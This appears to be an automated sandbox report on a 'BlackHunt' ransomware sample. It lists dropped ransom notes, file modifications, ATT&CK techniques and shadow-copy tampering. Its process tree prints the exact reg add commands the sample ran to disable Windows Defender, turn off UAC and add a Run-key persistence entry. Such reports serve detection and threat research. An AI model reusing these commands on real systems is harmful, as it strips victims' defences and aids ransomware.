File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\mobile_view.html	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Puerto_Rico	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-core-output2.jar	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-javahelp.jar	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File created	C:\Program Files\VideoLAN\VLC\locale\id\LC_MESSAGES\#BlackHunt_Private.key	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File created	C:\Program Files\VideoLAN\VLC\locale\kn\#BlackHunt_Private.key	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\demux\#BlackHunt_Private.key	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\#BlackHunt_ReadMe.txt	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-openide-loaders.xml	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Panama	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Pyongyang	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Indian\Cocos	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\vlm_export.html	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\#BlackHunt_ReadMe.txt	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\#BlackHunt_ReadMe.hta	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\doclib.gif	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-lib-uihandler.jar	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT+12	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\#BlackHunt_ReadMe.txt	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\META-INF\MANIFEST.MF	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Kentucky\#BlackHunt_ReadMe.hta	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPBlue.png	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ia\#BlackHunt_Private.key	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File created	C:\Program Files\7-Zip\#BlackHunt_ReadMe.txt	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_trans_RGB_PAL.wmv	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-selector-ui_ja.jar	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationRight_ButtonGraphic.png	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\#BlackHunt_ReadMe.txt	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\license.html	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.swt.nl_zh_4.4.0.v20140623020002.jar	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-settings.xml	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ta\#BlackHunt_ReadMe.txt	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File created	C:\Program Files\VideoLAN\VLC\locale\wa\LC_MESSAGES\#BlackHunt_ReadMe.hta	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\#BlackHunt_ReadMe.txt	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\.settings\#BlackHunt_ReadMe.hta	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\vlc.mo	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fy\LC_MESSAGES\#BlackHunt_ReadMe.txt	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uz\#BlackHunt_ReadMe.txt	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\GREEK.TXT	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-sampler_ja.jar	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2012	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1032	vssadmin.exe
2812	vssadmin.exe
1644	vssadmin.exe
1096	vssadmin.exe
4008	vssadmin.exe
3220	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3556	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3196	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1660	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
Token: SeRestorePrivilege	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
Token: SeBackupPrivilege	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
Token: SeTakeOwnershipPrivilege	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
Token: SeAuditPrivilege	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
Token: SeSecurityPrivilege	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
Token: SeIncBasePriorityPrivilege	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
Token: SeBackupPrivilege	4016	vssvc.exe
Token: SeRestorePrivilege	4016	vssvc.exe
Token: SeAuditPrivilege	4016	vssvc.exe
Token: SeBackupPrivilege	1584	wbengine.exe
Token: SeRestorePrivilege	1584	wbengine.exe
Token: SeSecurityPrivilege	1584	wbengine.exe
Token: SeSecurityPrivilege	3104	wevtutil.exe
Token: SeBackupPrivilege	3104	wevtutil.exe
Token: SeSecurityPrivilege	3220	wevtutil.exe
Token: SeBackupPrivilege	3220	wevtutil.exe
Token: SeSecurityPrivilege	2692	wevtutil.exe
Token: SeBackupPrivilege	2692	wevtutil.exe
Token: SeSecurityPrivilege	3228	wevtutil.exe
Token: SeBackupPrivilege	3228	wevtutil.exe
Token: SeSecurityPrivilege	1828	wevtutil.exe
Token: SeBackupPrivilege	1828	wevtutil.exe
Token: SeDebugPrivilege	3556	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3000 wrote to memory of 3052	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	29
PID 3000 wrote to memory of 3052	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	29
PID 3000 wrote to memory of 3052	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	29
PID 3000 wrote to memory of 3052	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	29
PID 3000 wrote to memory of 2776	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	31
PID 3000 wrote to memory of 2776	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	31
PID 3000 wrote to memory of 2776	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	31
PID 3000 wrote to memory of 2776	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	31
PID 3000 wrote to memory of 2788	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	32
PID 3000 wrote to memory of 2788	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	32
PID 3000 wrote to memory of 2788	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	32
PID 3000 wrote to memory of 2788	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	32
PID 3000 wrote to memory of 2900	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	34
PID 3000 wrote to memory of 2900	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	34
PID 3000 wrote to memory of 2900	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	34
PID 3000 wrote to memory of 2900	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	34
PID 3000 wrote to memory of 2732	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	36
PID 3000 wrote to memory of 2732	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	36
PID 3000 wrote to memory of 2732	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	36
PID 3000 wrote to memory of 2732	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	36
PID 3000 wrote to memory of 2300	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	38
PID 3000 wrote to memory of 2300	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	38
PID 3000 wrote to memory of 2300	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	38
PID 3000 wrote to memory of 2300	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	38
PID 3000 wrote to memory of 2772	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	40
PID 3000 wrote to memory of 2772	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	40
PID 3000 wrote to memory of 2772	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	40
PID 3000 wrote to memory of 2772	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	40
PID 3000 wrote to memory of 2580	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	42
PID 3000 wrote to memory of 2580	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	42
PID 3000 wrote to memory of 2580	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	42
PID 3000 wrote to memory of 2580	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	42
PID 3000 wrote to memory of 2848	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	44
PID 3000 wrote to memory of 2848	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	44
PID 3000 wrote to memory of 2848	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	44
PID 3000 wrote to memory of 2848	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	44
PID 3000 wrote to memory of 2660	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	46
PID 3000 wrote to memory of 2660	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	46
PID 3000 wrote to memory of 2660	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	46
PID 3000 wrote to memory of 2660	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	46
PID 3000 wrote to memory of 2596	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	48
PID 3000 wrote to memory of 2596	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	48
PID 3000 wrote to memory of 2596	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	48
PID 3000 wrote to memory of 2596	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	48
PID 3000 wrote to memory of 2980	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	50
PID 3000 wrote to memory of 2980	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	50
PID 3000 wrote to memory of 2980	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	50
PID 3000 wrote to memory of 2980	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	50
PID 3000 wrote to memory of 2628	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	52
PID 3000 wrote to memory of 2628	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	52
PID 3000 wrote to memory of 2628	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	52
PID 3000 wrote to memory of 2628	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	52
PID 3000 wrote to memory of 2568	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	55
PID 3000 wrote to memory of 2568	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	55
PID 3000 wrote to memory of 2568	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	55
PID 3000 wrote to memory of 2568	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	55
PID 2732 wrote to memory of 2064	2732	cmd.exe	57
PID 2732 wrote to memory of 2064	2732	cmd.exe	57
PID 2732 wrote to memory of 2064	2732	cmd.exe	57
PID 3000 wrote to memory of 2648	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	59
PID 3000 wrote to memory of 2648	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	59
PID 3000 wrote to memory of 2648	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	59
PID 3000 wrote to memory of 2648	3000	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe	59
PID 2788 wrote to memory of 2592	2788	cmd.exe	58

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe
"C:\Users\Admin\AppData\Local\Temp\22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  PID:3052
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2776
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2900
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2732
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2300
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2772
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2580
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2848
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2660
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2596
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2980
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2628
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2568
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2648
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2180
- C:\Windows\System32\cmd.exe
